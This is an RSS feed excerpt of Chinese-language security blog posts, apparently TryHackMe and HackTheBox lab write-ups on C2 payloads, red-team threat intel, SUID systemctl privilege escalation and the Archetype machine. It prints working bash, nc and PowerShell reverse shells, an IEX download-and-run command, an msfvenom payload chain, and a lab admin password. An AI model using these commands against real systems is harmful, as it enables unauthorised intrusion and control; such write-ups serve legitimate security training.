&lt;p&gt;The steps for establishing &lt;u&gt;C2&lt;/u&gt; beaconing with a Stageless payload are as follows:&lt;br&gt;使用无阶段有效负载建立 C2 信标的步骤如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; The Victim downloads and executes the Dropper  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;受害人下载并执行滴管&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; The beaconing to the &lt;u&gt;C2&lt;/u&gt; Server begins  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;开始向 C2 服务器发送信标&lt;blockquote&gt;
&lt;h3&gt;Staged Payloads 暂存有效载荷&lt;/h3&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Staged payloads require a callback to the &lt;u&gt;C2&lt;/u&gt; server to download additional parts of the &lt;u&gt;C2&lt;/u&gt; agent. This is commonly referred to as a “Dropper” because it is “Dropped” onto the victim machine to download the second stage of our staged payload. This is a preferred method over stageless payloads because a small amount of code needs to be written to retrieve the additional parts of the &lt;u&gt;C2&lt;/u&gt; agent from the &lt;u&gt;C2&lt;/u&gt; server. It also makes it easier to obfuscate code to bypass Anti-Virus programs.&lt;br&gt;暂存有效负载需要回调到 C2 服务器才能下载 C2 代理的其他部分。这通常被称为“滴管”，因为它被“滴落”到受害机器上，以下载我们暂存有效载荷的第二阶段。这是优于无阶段有效负载的首选方法，因为需要编写少量代码才能从 C2 服务器检索 C2 代理的附加部分。它还使混淆代码以绕过防病毒程序变得更加容易。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Intro%20to%20C2-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The steps for establishing &lt;u&gt;C2&lt;/u&gt; beaconing with a Staged payload are as follows:&lt;br&gt;使用暂存有效负载建立 C2 信标的步骤如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; The Victim downloads and executes the Dropper  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;受害人下载并执行滴管&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; The Dropper calls back to the &lt;u&gt;C2&lt;/u&gt; Server for Stage 2  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;Dropper 回调 C2 服务器进行第 2 阶段&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; The &lt;u&gt;C2&lt;/u&gt; Server sends Stage 2 back to the Victim Workstation  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;C2 服务器将阶段 2 发送回受害者工作站&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;** **Stage 2 is loaded into memory on the Victim Workstation   &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;第 2 阶段加载到受害者工作站的内存中&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; &lt;u&gt;C2&lt;/u&gt; Beaconing Initializes, and the Red Teamer/Threat Actors can engage with the Victim on the &lt;u&gt;C2&lt;/u&gt; Server.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;C2 信标初始化，红队成员/威胁参与者可以在 C2 服务器上与受害者互动。&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;简单解释下&lt;/p&gt;
&lt;h3&gt;暂存有效负载&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;暂存有效负载指的是恶意代码或攻击负载在目标系统上不会直接写入磁盘，而是在内存中运行。&lt;/li&gt;
&lt;li&gt;这意味着一旦目标系统重启或关机，恶意代码就会被清除，不会在系统上留下明显的痕迹。&lt;/li&gt;
&lt;li&gt;由于不涉及文件写入，暂存有效负载通常更难被杀毒软件或安全工具检测到，因为它们不会触发传统的病毒扫描或文件监视机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;无暂存有效负载：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;与暂存有效负载相反，无暂存有效负载是将恶意代码或攻击负载写入目标系统的磁盘中，通常作为文件保存。&lt;/li&gt;
&lt;li&gt;这种方式使得恶意代码在目标系统上持久存在，即使系统重启或关机，也会在启动后重新执行。&lt;/li&gt;
&lt;li&gt;由于涉及文件写入，无暂存有效负载可能更容易被杀毒软件或安全工具检测到，因为它们可以触发文件监视和病毒扫描。&lt;/li&gt;
&lt;/ul&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-intro-to-c2/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-intro-to-c2/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Red Team Threat Intel</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-red-team-threat-intel/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-red-team-threat-intel/</guid><description>Red Teaming</description><content:encoded>&lt;blockquote&gt;
&lt;p&gt;ATT&amp;amp;CK战术知识库：&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;https://attack.mitre.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;OST Map 跟踪威胁参与者使用具有攻击性功能的库的地图：&lt;a href=&quot;https://intezer.com/ost-map/#Carbanak&quot;&gt;https://intezer.com/ost-map/#Carbanak&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Rundll32.exe 是 Windows 的标准部分，用于运行动态链接库 （DLL） 文件。DLL 包含程序各种函数的代码，通常由 Windows 进程和第三方应用使用。Rundll32.exe 通常不是恶意软件，但它可用于执行恶意代码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;LOLBAS （Living Off the Land Binaries And Scripts） 是一种攻击方法，它使用已经是系统一部分的二进制文件和脚本进行恶意目的。这使得安全团队很难区分合法和恶意活动，因为它们都是由受信任的系统实用程序执行的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Bootkit 是一种现代恶意软件，威胁参与者使用它将恶意软件附加到计算机系统。Bootkit 可能对您的业务构成严重的安全威胁，并且通常涉及用于逃避检测的 rootkit 工具。这些攻击以统一可扩展固件接口 （UEFI） 为目标，该接口是将 PC 的操作系统与其设备固件连接起来的软件。&lt;/p&gt;
&lt;p&gt;rootkit 是软件工具的集合，或旨在让威胁参与者远程控制计算机系统的程序。通过停用端点防病毒和反恶意软件，Rootkit 可以在不被检测到的情况下运行。这使得恶意软件可以引入系统，以攻击网络或应用程序安全。&lt;/p&gt;
&lt;p&gt;Bootkit 将此过程更进一步，旨在感染卷引导记录或主引导记录。通过这样做，引导工具包可以在计算机的操作系统加载之前运行。这样，bootkit 安装的恶意代码在计算机操作系统启动之前启动并运行。&lt;/p&gt;
&lt;p&gt;Bootkit感染未被检测到，因为所有组件都在Microsoft Windows文件系统之外，使它们对标准操作系统进程不可见。计算机可能感染 bootkit 的一些警告包括系统不稳定，导致蓝屏警告和无法启动操作系统。&lt;/p&gt;
&lt;p&gt;UEFI 安全启动是一种安全标准，可确保设备仅使用受信任的软件启动。固件检查每个启动软件（包括 UEFI 固件）的签名，如果所有签名都有效，则 PC 启动。这种安全启动可以防止 bootkit 感染造成伤害，因为如果发现它，PC 将无法启动。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Certutil是Windows操作系统中的一个命令行工具，主要用于证书服务和证书管理。但在渗透测试中，攻击者有时会利用Certutil工具来执行一些恶意操作&lt;/p&gt;
&lt;p&gt;**1.下载文件	**&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.上传文件&lt;/strong&gt;	&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;绕过安全软件检测&lt;/strong&gt;： 有些安全软件会监视和拦截常见的攻击工具或恶意文件下载行为，但是Certutil是Windows系统的正规工具，因此它的使用可能会绕过一些安全软件的检测。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.执行Base64编码解码&lt;/strong&gt;： Certutil还可以用于Base64编码和解码。攻击者可能会将恶意文件编码为Base64格式，然后在目标系统上使用Certutil解码并执行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;MESSAGETAP（留言点击）&lt;/p&gt;
&lt;p&gt;MESSAGETAP 是 APT41 部署到电信网络中的数据挖掘恶意软件系列，用于监控和保存来自特定电话号码、IMSI 号码或包含特定关键字的 SMS 流量&lt;/p&gt;
&lt;p&gt;存档收集的数据：通过自定义方法存档，自动收集，数据暂存：本地数据暂存，对文件或信息进行反混淆/解码，文件和目录发现，指示器删除：文件删除，网络嗅探，系统网络连接发现&lt;/p&gt;
&lt;p&gt;SMB（Server Message Block）是一种在局域网中共享文件、打印机以及其他资源的网络协议。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-red-team-threat-intel/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-red-team-threat-intel/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Vulnversity</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-vulnversity/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-vulnversity/</guid><description>Basic Computer Exploitation</description><content:encoded>&lt;h1&gt;权限提升&lt;/h1&gt;
&lt;p&gt;在 Linux 中，SUID（执行时设置所有者用户 ID）是授予文件的特定类型的文件权限。SUID 向用户授予临时权限，以文件所有者（而不是运行程序的用户）的权限运行程序/文件。例如，用于更改密码的二进制文件设置了 SUID 位 （/usr/bin/passwd）。这是因为要更改密码;它需要写入您无权访问的 shadowers 文件，root 需要;因此，它具有进行正确更改的 root 权限。&lt;/p&gt;
&lt;h2&gt;1.在系统上，搜索所有 SUID 文件。哪个文件脱颖而出？&lt;/h2&gt;
&lt;p&gt;On the system, search for all SUID files. Which file stands out?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null    查找系统所有无法访问的文件&lt;/p&gt;
&lt;p&gt;/bin/systemctl 文件具备suid位可以用来提权&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2.利用/bin/systemctl提权并提取/root文件&lt;/h2&gt;
&lt;h2&gt;方法一（复现失败）&lt;/h2&gt;
&lt;p&gt;文章&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/systemctl/&quot;&gt;https://gtfobins.github.io/gtfobins/systemctl/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;稍加修改：&lt;/p&gt;
&lt;h3&gt;1.将执行语句改为读取/root/root.txt的内容&lt;/h3&gt;
&lt;h3&gt;2.systemctl需要带上绝对路径&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;TF=$(mktemp).service&lt;/p&gt;
&lt;p&gt;echo &amp;#39;[Service]&lt;/p&gt;
&lt;p&gt;Type=oneshot&lt;/p&gt;
&lt;p&gt;ExecStart=/bin/sh-c &amp;quot;cat /root/root.txt &amp;gt; /tmp/output&amp;quot;&lt;/p&gt;
&lt;p&gt;[Install]&lt;/p&gt;
&lt;p&gt;WantedBy=multi-user.target&amp;#39;&amp;gt; $TF&lt;/p&gt;
&lt;p&gt;/bin/systemctllink $TF&lt;/p&gt;
&lt;p&gt;/bin/systemctl&lt;/p&gt;
&lt;p&gt;enable --now $TF&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Vulnversity-1.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;按理来讲效果如图所示成功讲root.txt转储为output.txt&lt;/p&gt;
&lt;p&gt;但是我没成功.......&lt;/p&gt;
&lt;h3&gt;再更改点数据进行反弹shll&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;TF=$(mktemp).service&lt;/p&gt;
&lt;p&gt;echo &amp;#39;[Service]&lt;/p&gt;
&lt;p&gt;Type=oneshot&lt;/p&gt;
&lt;p&gt;ExecStart=/bin/bash -c &amp;quot;/bin/bash -i &amp;gt; /dev/tcp/10.10.167.14/2222 0&amp;gt;&amp;amp;1 2&amp;lt;&amp;amp;1&amp;quot;&lt;/p&gt;
&lt;p&gt;[Install]&lt;/p&gt;
&lt;p&gt;WantedBy=multi-user.target&amp;#39; &amp;gt; $TF&lt;/p&gt;
&lt;p&gt;./systemctl link $TF&lt;/p&gt;
&lt;p&gt;./systemctl enable --now $TF&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;还是失败了&lt;/p&gt;
&lt;h2&gt;方法二（操作没看懂）&lt;/h2&gt;
&lt;p&gt;/bin/systemctl文件拥有sudo权限,新建一个service让systemctl加载服务,即可执行任意脚本&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www-data@vulnuniversity:/tmp$ echo &amp;quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.9.23.70 7788 &amp;gt;/tmp/f&amp;quot; &amp;gt; /tmp/shell.sh&lt;/p&gt;
&lt;p&gt;www-data@vulnuniversity:/tmp$ TF=$(mktemp).service&lt;/p&gt;
&lt;p&gt;www-data@vulnuniversity:/tmp$ echo &amp;#39;[Service]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Type=oneshot&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;ExecStart=/bin/sh -c &amp;quot;bash /tmp/shell.sh&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[Install]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;WantedBy=multi-user.target&amp;#39; &amp;gt; $TF&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;www-data@vulnuniversity:/tmp$ /bin/systemctl link $TF&lt;/p&gt;
&lt;p&gt;Created symlink from /etc/systemd/system/tmp.CHTuvfkaoz.service to /tmp/tmp.CHTuvfkaoz.service.&lt;/p&gt;
&lt;p&gt;www-data@vulnuniversity:/tmp$ /bin/systemctl enable --now $TF&lt;/p&gt;
&lt;p&gt;Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.CHTuvfkaoz.service to /tmp/tmp.CHTuvfkaoz.service.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;方法三(死活不弹)&lt;/h2&gt;
&lt;p&gt;反弹shell&lt;/p&gt;
&lt;p&gt;使用echo写入shell.service，注意，写入目录一定是/dev/shm/&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cd /dev/shm/&lt;/p&gt;
&lt;p&gt;echo &amp;#39;[Service]&lt;/p&gt;
&lt;p&gt;Type=oneshot&lt;/p&gt;
&lt;p&gt;ExecStart=/bin/bash -c &amp;quot;/bin/bash -i &amp;gt; /dev/tcp/10.10.167.14/4444 0&amp;gt;&amp;amp;1 2&amp;lt;&amp;amp;1&amp;quot;&lt;/p&gt;
&lt;p&gt;[Install]&lt;/p&gt;
&lt;p&gt;WantedBy=multi-user.target&amp;#39; &amp;gt; shell.service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后依次执行以下两条命令，就会反弹一个root的shell&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;systemctl link /dev/shm/shell.service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;systemctl enable --now /dev/shm/shell.service&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;利用nc -lvnp 4444&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-vulnversity/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-vulnversity/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 30 Mar 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Archetype</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/archetype/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/archetype/</guid><description>Hack the box</description><content:encoded>&lt;h2&gt;TASK 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;nmap -sV -f 10.129.169.148&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;根据hint直接subclient一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尾缀没有$就是非管理共享目录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SMB与CIFS为服务器通信协议，常用于Windows95/98/NT等系统。
smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。
-B&amp;lt;ip地址&amp;gt;：传送广播数据包时所用的IP地址；
-d&amp;lt;排错层级&amp;gt;：指定记录文件所记载事件的详细程度；
-E：将信息送到标准错误输出设备；
-h：显示帮助；
-i&amp;lt;范围&amp;gt;：设置NetBIOS名称范围；
-I&amp;lt;IP地址&amp;gt;：指定服务器的IP地址；
-l&amp;lt;记录文件&amp;gt;：指定记录文件的名称；
-L：显示服务器端所分享出来的所有资源；
-M&amp;lt;NetBIOS名称&amp;gt;：可利用WinPopup协议，将信息送给选项中所指定的主机；
-n&amp;lt;NetBIOS名称&amp;gt;：指定用户端所要使用的NetBIOS名称；
-N：不用询问密码；
-O&amp;lt;连接槽选项&amp;gt;：设置用户端TCP连接槽的选项；
-p&amp;lt;TCP连接端口&amp;gt;：指定服务器端TCP连接端口编号；
-R&amp;lt;名称解析顺序&amp;gt;：设置NetBIOS名称解析的顺序；
-s&amp;lt;目录&amp;gt;：指定smb.conf所在的目录；
-t&amp;lt;服务器字码&amp;gt;：设置用何种字符码来解析服务器端的文件名称；
-T&amp;lt;tar选项&amp;gt;：备份服务器端分享的全部文件，并打包成tar格式的文件；
-U&amp;lt;用户名称&amp;gt;：指定用户名称；
-w&amp;lt;工作群组&amp;gt;：指定工作群组名称。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TASK 3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用get将文件下载下来&lt;/p&gt;
&lt;h2&gt;TASK 4&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里考察的我们对impacket框架的了解，在impacket中哪个脚本可以连接SQL Server使用git拉取&amp;gt; &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;git clone &lt;a href=&quot;https://github.com/SecureAuthCorp/impacket.git&quot;&gt;https://github.com/SecureAuthCorp/impacket.git&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;cd impacket&lt;br&gt;sudo python3 setup.py install&lt;br&gt;pip3 install -r requirements.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;impacket的脚本都在examples里面，看名字知道mssql开头的就是&lt;/p&gt;
&lt;p&gt;python mssqlclient.py ARCHETYPE/&lt;a href=&quot;mailto:sql_svc@10.129.219.58&quot;&gt;sql_svc@10.129.219.58&lt;/a&gt; -windows-auth&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ARCHETYPE/sql_svc&lt;/strong&gt; 是一个 Windows 认证的用户名，它的格式通常是 &lt;strong&gt;域/用户名&lt;/strong&gt;。在这种格式中，&lt;strong&gt;ARCHETYPE&lt;/strong&gt; 是 Windows 域的名称，而 &lt;strong&gt;sql_svc&lt;/strong&gt; 是该域中的用户名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-windows-auth&lt;/strong&gt; 表示你要使用 Windows 身份验证来连接到 SQL Server，而不是使用 SQL Server 身份验证（即用户名和密码）。&lt;/p&gt;
&lt;h2&gt;TASK 5&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功登录之后可以通过输入以下命令判断当前时候拥有sysadmin权限&lt;/p&gt;
&lt;p&gt;SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;1代表true，说明当前用户具有sysadmin权限，能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行&lt;/p&gt;
&lt;p&gt;先使用sp_configure命令查看下配置情况，如果配置表里没有xp_cmdshell一栏，使用如下命令。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;EXEC sp_configure &amp;#39;Show Advanced Options&amp;#39;, 1;			\\使用sp_configure系统存储过程，设置服务器配置选项，将Show Advanced Options设置为1时，允许修改数据库的高级配置选项
reconfigure;			\\确认上面操作
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再用sp_configure 命令查看下此时的xp_cmdshell命令是否被允许使用，如值为0使用如下命令。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1						\\使用sp_configure系存储过程，启用xp_cmdshell参数，来允许SQL Server调用操作系统命令
reconfigure;											\\确认上面的操作
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试执行命令&lt;/p&gt;
&lt;p&gt;xp_cmdshell &amp;quot;whoami&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;虽然 &lt;strong&gt;xp_cmdshell&lt;/strong&gt; 存储过程允许在 SQL Server 中执行一些操作系统级别的命令，但它的功能是受到限制的，并且在安全性上也存在一些风险。因此，有时候需要直接的操作系统shell来进行更多和更复杂的操作。所以我们要反弹shell&lt;/p&gt;
&lt;p&gt;启动py共享文件&lt;/p&gt;
&lt;p&gt;python3 -m http.server 80&lt;/p&gt;
&lt;p&gt;shell.ps1&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;$client = New-Object System.Net.Sockets.TCPClient(&amp;quot;10.10.16.20&amp;quot;,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &amp;quot;# &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xp_cmdshell &amp;quot;powershell &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&amp;quot;&lt;a href=&quot;http://10.10.16.20/shell.ps1%5C&quot;&gt;http://10.10.16.20/shell.ps1\&lt;/a&gt;&amp;quot;);&amp;quot;&lt;/p&gt;
&lt;p&gt;nc -nvlp 443&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在C:\Users\sql_svc\Desktop\user.txt中找到User Own的Flag&lt;/p&gt;
&lt;p&gt;3e7b102e78218e935bf3f4951fec21a3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现sql_svc是操作系统普通用户、数据库以及数据库服务用户，检查一下频繁访问的文件或已执行的命令，使用如下命令来访问PowerShell历史记录文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现管理员账号及密码&lt;/p&gt;
&lt;p&gt;administrator MEGACORP_4dm1n!!&lt;/p&gt;
&lt;h2&gt;TASK 6&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里win和Linux都有一个很好的提权脚本叫PEAS&lt;/p&gt;
&lt;p&gt;Linux系统叫linpeas，win系统叫winpeas&lt;/p&gt;
&lt;p&gt;Git下载地址：&lt;a href=&quot;https://github.com/carlospolop/PEASS-ng/releases/tag/20220710&quot;&gt;https://github.com/carlospolop/PEASS-ng/releases/tag/20220710&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;（著名的windows信息枚举以发现存在的漏洞）&lt;/p&gt;
&lt;p&gt;将其下载到linux本机&lt;/p&gt;
&lt;p&gt;wget &lt;a href=&quot;https://github.com/carlospolop/PEASS-ng/releases/download/20220320/winPEASx86.exe&quot;&gt;https://github.com/carlospolop/PEASS-ng/releases/download/20220320/winPEASx86.exe&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;利用msf反弹shell&lt;/p&gt;
&lt;p&gt;msfvenom -p  windows/meterpreter/reverse_tcp LHOST=10.10.16.20 -f exe -o payload.exe&lt;/p&gt;
&lt;p&gt;在kali Linux本地运行http服务器（用python http模块）&lt;/p&gt;
&lt;p&gt;SQL&amp;gt; xp_cmdshell &amp;quot;powershell wget &lt;a href=&quot;http://10.10.16.20/payload.exe&quot;&gt;http://10.10.16.20/payload.exe&lt;/a&gt; -OutFile c:\Users\Public\payload.exe&amp;quot;&lt;/p&gt;
&lt;p&gt;set payload windows/meterpreter/reverse_tcp&lt;/p&gt;
&lt;p&gt;set lhost 10.10.16.20&lt;/p&gt;
&lt;p&gt;EXEC xp_cmdshell &amp;#39;C:\Users\Public\payload.exe&amp;#39;;&lt;/p&gt;
&lt;p&gt;run（进行监听）&lt;/p&gt;
&lt;p&gt;EXEC xp_cmdshell &amp;#39;C:\Users\Public\payload.exe&amp;#39;;  进行执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功获得user的flag&lt;/p&gt;
&lt;p&gt;也可以尝试直接使用Impacket中的psexec提权，其原理是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.通过ipc$连接，释放psexecsvc.exe到目标&lt;/p&gt;
&lt;p&gt;2.通过服务管理SCManager远程创建psexecsvc服务，并启动服务。&lt;/p&gt;
&lt;p&gt;3.客户端连接执行命令，服务端启动相应的程序并执行回显数据。&lt;/p&gt;
&lt;p&gt;4.运行完后删除服务。这个在windows的日志中有详细的记录，另外psexec在少数情况下会出现服务没删除成功的bug。&lt;/p&gt;
